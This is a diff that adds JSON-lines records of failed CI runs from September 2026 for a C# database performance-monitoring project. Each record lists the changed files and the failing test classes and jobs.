+{"date":"2026-09-18","head_sha":"b98b7540a345b3cfd19f1de47b689abe8605735a","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorEngineCapabilityDerivationTests.cs","Darling/Darling.Tests/CollectorStateContractTests.cs","Darling/Darling.Tests/DarlingCliCommandsTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs","Darling/Darling.Tests/PgWaitSamplerLiveTests.cs","Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgWaitSamplingReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Darling/README.md","Lite.Tests/PgWaitExclusionParityTests.cs","Lite.Tests/PgWaitSamplerArmTests.cs","Lite.Tests/PgWaitSamplingCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/CollectorEngineCapability.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs","PerformanceMonitor.Collectors/CollectorTargetInfo.cs","PerformanceMonitor.Collectors/PgWaitInstrument.cs","PerformanceMonitor.Collectors/PgWaitSamplingCollector.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Lite.Tests.AuroraOnlySqlIsGatedTests","Lite.Tests.DefaultTraceEventsCollectorDefinitionTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"a479b4577cabd0ad1e04e8ff2d160e585e48e02d","event":"pull_request","changed_files":["Darling/Darling.Tests/DrillDownDopProvenanceLiveTests.cs","Darling/Darling.Tests/QueryDopProvenanceTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Queries.cs","Lite.Tests/DrillDownDopProvenanceParityTests.cs","Lite.Tests/DrillDownDopProvenanceTests.cs","Lite.Tests/QueryDopProvenanceTests.cs","Lite/Analysis/DrillDownCollector.Queries.cs","PerformanceMonitor.Common/QueryDopProvenance.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Lite.Tests.CrossAppGuardCiGateTests","Lite.Tests.DrillDownDopProvenanceTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"5ef0af68f595381e671bb76ba770f6a9990204ea","event":"pull_request","changed_files":["Darling/Darling.Tests/DailyHealthBandTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs","Darling/Darling.Tests/ViewerQueriesRestTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryTrends.cs","Lite.Tests/DailyHealthBandTests.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Mcp/McpPvsTools.cs","Lite/Services/LocalDataService.DailySummary.cs","Lite/Services/LocalDataService.FinOps.Pvs.cs","PerformanceMonitor.Common/DailyHealthBand.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.ViewerQueriesLivePostgresTests","Darling.Tests.ViewerTrendRoutingPortTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"5916fab68e84d2cd1f808f7bbea01db0fe1cf49a","event":"pull_request","changed_files":["Darling/Darling.Tests/ForcePlanBotPolicyTests.cs","Darling/Darling.Tests/PlanForceBotTests.cs","Darling/Darling.Tests/StragglerCommandTimeoutTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceBot.cs","Lite.Tests/ForcePlanTargetStateTests.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests","PerformanceMonitorLite.Tests.LiteDeltaSeederTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"d46e8a24f4b5a0a8e3fa4c4e99a85e67dd129577","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/NotificationRoutesRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/PgLogEventMetricsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertDeliverer.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/PgNotificationRouteStore.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Darling/tools/provision-roles.sql","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","Lite/Mcp/McpAlertTools.cs","PerformanceMonitor.Notifications/AlertContext.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/EmailSendCore.cs","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/NotificationRoute.cs","PerformanceMonitor.Notifications/NotificationRouter.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs","README.md","docs/postgres-first-target-runbook.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingWebEndpointsTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-18","head_sha":"7859d25653535bcfaed78bb4e6d8b6081e830983","event":"pull_request","changed_files":["Darling/Darling.Tests/DailyHealthBandTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs","Darling/Darling.Tests/ViewerQueriesRestTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Pvs.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryTrends.cs","Lite.Tests/DailyHealthBandTests.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Mcp/McpPvsTools.cs","Lite/Services/LocalDataService.DailySummary.cs","Lite/Services/LocalDataService.FinOps.Pvs.cs","PerformanceMonitor.Common/DailyHealthBand.cs"],"failed_classes":["PerformanceMonitorLite.Tests.LiteDeltaSeederTests"],"failed_jobs":["build"]}
+{"date":"2026-09-19","head_sha":"0db975aa98f5169df1272262f7ffa8a85d09a067","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetPostureIsolationTests.cs","Darling/Darling.Tests/PgTargetPostureTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Posture.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Posture.cs","PerformanceMonitor.Analysis/PgTargetScorer.Posture.cs"],"failed_classes":["Darling.Tests.PgTargetFactCollectorTests","Darling.Tests.PgTargetPostureTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"189380cb25b21bb738f179287500498af60f732c","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetPostureIsolationTests.cs","Darling/Darling.Tests/PgTargetPostureTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Posture.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Posture.cs","PerformanceMonitor.Analysis/PgTargetScorer.Posture.cs"],"failed_classes":["Darling.Tests.PgTargetFactCollectorTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"ea96ebcb37fa58734bf639c690cf26b58061d502","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPgOperationalAlertTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md"],"failed_classes":["Darling.Tests.FleetCardPostgresCpuTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"f84624af0cd09e47fb54a1270fd602a7934594cb","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTempTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Queries.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Database.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Database.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Temp.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Query.cs","PerformanceMonitor.Analysis/PgTargetScorer.Config.cs","PerformanceMonitor.Analysis/PgTargetScorer.Database.cs","PerformanceMonitor.Analysis/PgTargetScorer.Temp.cs"],"failed_classes":["Darling.Tests.PgTargetTempTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"5971efceff087e63cfc802ee02deb5fdb328a8eb","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/Darling.Tests/PgTargetWaitLiveTests.cs","Darling/Darling.Tests/PgTargetWaitTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Waits.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Wait.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Memory.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Saturation.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Write.cs","PerformanceMonitor.Analysis/PgTargetScorer.Waits.cs"],"failed_classes":["Darling.Tests.PgTargetSessionsTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"de7cedee09f986a7f531b55b7028983db0af9ab9","event":"push","changed_files":["Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTrendTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.QueryTrends.cs"],"failed_classes":["Darling.Tests.PgTargetSessionsTests","Darling.Tests.PgTargetTempTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"8f038a3b8ad423a5f3d0b42ee6a61332fe1a5b0f","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetTempTests.cs"],"failed_classes":["Darling.Tests.PgTargetSessionsTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"b7b434b1a1277f0c62107cfd1b0a983094874896","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetSessionsTests.cs"],"failed_classes":["Darling.Tests.PgTargetTempTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"cc855a652505ca3a243c65b3662cb16154deff9f","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetSessionsTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Cpu.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Cpu.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Cpu.cs"],"failed_classes":["Lite.Tests.AuroraOnlySqlIsGatedTests"],"failed_jobs":["build"]}
+{"date":"2026-09-19","head_sha":"f88740972bd0a32119ac76b006a515268c3dad67","event":"push","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetSessionsTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Cpu.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/Baselines/MetricNames.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Cpu.cs","PerformanceMonitor.Analysis/PgTargetScorer.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetScorer.Cpu.cs"],"failed_classes":["Lite.Tests.AuroraOnlySqlIsGatedTests"],"failed_jobs":["build"]}
+{"date":"2026-09-19","head_sha":"48855f4ed13c1d5538e7e8f960d0f6729fd91b69","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs","Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingMcpToolsTests.cs","Darling/Darling.Tests/McpPlanAnalysisEnvelopeTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAgTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMemoryGrantReader.cs","Lite.Tests/FindingStoreTests.cs","Lite.Tests/McpDescriptionTruthPinTests.cs","Lite.Tests/McpMuteReportsWhatItMatchedTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/FindingStore.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpCpuTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpPlanTools.cs","PerformanceMonitor.PlanAnalysis/McpPlanAnalysisFormatter.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"6435c010681772587dd7cf77439c3b0961afdb99","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPgAutovacuumVerdictLiveTests.cs","Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/PgLogEventMetricsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCollectorCostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgAutovacuumTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexUsageTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTableBloatTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Lite.Tests/McpPageContractTests.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpHealthTools.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.DarlingMcpHealthToolsLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"c733f086ae7a20170c71d645be6150523cdc598d","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisShutdownResidueTests.cs","Darling/Darling.Tests/DarlingAnalysisStoreTests.cs","Darling/Darling.Tests/RecurrenceLabelStoreReadTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/FindingStoreRecurrenceReadTests.cs","Lite.Tests/RecurrenceLabelerTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/FindingStore.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/RecurrenceLabeler.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FindingStoreTests"],"failed_jobs":["build"]}
+{"date":"2026-09-19","head_sha":"5dd751bb19c8c7d08824b3709080362be0e4eff8","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetIoTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Io.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Io.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Io.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Io.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Io.cs","PerformanceMonitor.Analysis/PgTargetScorer.Io.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"6f61658ab21bb8aa6c3381bb583ceec45414dc20","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetKnobsTests.cs","Darling/Darling.Tests/PgTargetReplicationTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Replication.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Replication.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Replication.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Replication.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Replication.cs","PerformanceMonitor.Analysis/PgTargetScorer.Replication.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"1acd606201b265f20ea5de097d3f7d374e15c841","event":"push","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetKnobsTests.cs","Darling/Darling.Tests/PgTargetReplicationTests.cs","Darling/Darling.Tests/PgTargetSharedSwitchRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Replication.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.Replication.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Replication.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryHorizon.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Anomaly.cs","PerformanceMonitor.Analysis/PgTargetAdvice.Replication.cs","PerformanceMonitor.Analysis/PgTargetRelationshipGraph.Replication.cs","PerformanceMonitor.Analysis/PgTargetScorer.Replication.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"c3a18e178599f0cb02223b32074ee44168acf5a7","event":"pull_request","changed_files":["Lite.Tests/FindingStoreTests.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-19","head_sha":"6981fdf77c19ccb1be712d61e626d21410b7e516","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorTimestampFrameTests.cs","Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/PgNumbackendsAndSampledMsRungTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Cpu.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/AgedDatabaseMigrationTests.cs","Lite.Tests/CpuUtilizationCollectorDefinitionTests.cs","Lite.Tests/GoldenCollectorSchema.cs","Lite.Tests/PerfmonCounterTypeTests.cs","Lite.Tests/ServerPropertiesCollectorDefinitionTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Mcp/McpCpuTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.Cpu.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Collectors/CpuUtilizationCollector.cs","PerformanceMonitor.Collectors/ServerPropertiesCollector.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests","Lite.Tests.ServerEpochTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-19","head_sha":"a7ecf42814a12b8d60f72e80dedeec7ca0dd4ed2","event":"pull_request","changed_files":["Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.PgTargetWaitTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-19","head_sha":"3064bb598fd2f708f7d819e2489f9770c85c53ca","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertDeliveryChannelTests.cs","Darling/Darling.Tests/AlertHistoryRowSeverityTests.cs","Darling/Darling.Tests/AlertMetricClassifierTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/AlertTrayStatusLoggedTests.cs","Darling/Darling.Tests/AnalysisSinglesDigestTests.cs","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/AnalysisSinglesDigestReader.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFindingAlertSender.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFileLevelAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/PgAlertHistoryStore.cs","Darling/PerformanceMonitor.Darling.Service/SelfAlertDeliveryStampStore.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/util.js","Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs","Darling/README.md","Lite.Tests/AlertReadFailureSurfaceTests.cs","Lite.Tests/AlertSeverityTests.cs","Lite.Tests/FindingRoutingTests.cs","Lite.Tests/LiteRecommendationsReaderTests.cs","Lite/Analysis/FindingStore.cs","Lite/Analysis/Recommendations/LiteRecommendationItem.cs","Lite/Analysis/Recommendations/LiteRecommendationsReader.cs","Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs","Lite/App.xaml.cs","Lite/Controls/RecommendationsTab.xaml","Lite/Mcp/McpAlertTools.cs","Lite/Services/AppAlertSettings.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/EmailAlertService.cs","Lite/Windows/SettingsWindow.xaml","Lite/Windows/SettingsWindow.xaml.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Analysis/AnalysisModels.cs","PerformanceMonitor.Analysis/InferenceEngine.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertContext.cs","PerformanceMonitor.Notifications/AlertDelivery.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AlertSeverity.cs","PerformanceMonitor.Notifications/AnalysisNotificationService.cs","PerformanceMonitor.Notifications/FindingRouting.cs","PerformanceMonitor.Notifications/IAlertHistoryStore.cs","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/IFindingAlertSender.cs","README.md","deprecated/Dashboard/Services/EmailAlertService.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.PgTargetWaitTests","Lite.Tests.AlertSettingsControlWiringTests","PerformanceMonitorLite.Tests.SettingsSampleTests"],"failed_jobs":["Darling PostgreSQL tests","build","Darling whole-tree guards"]}
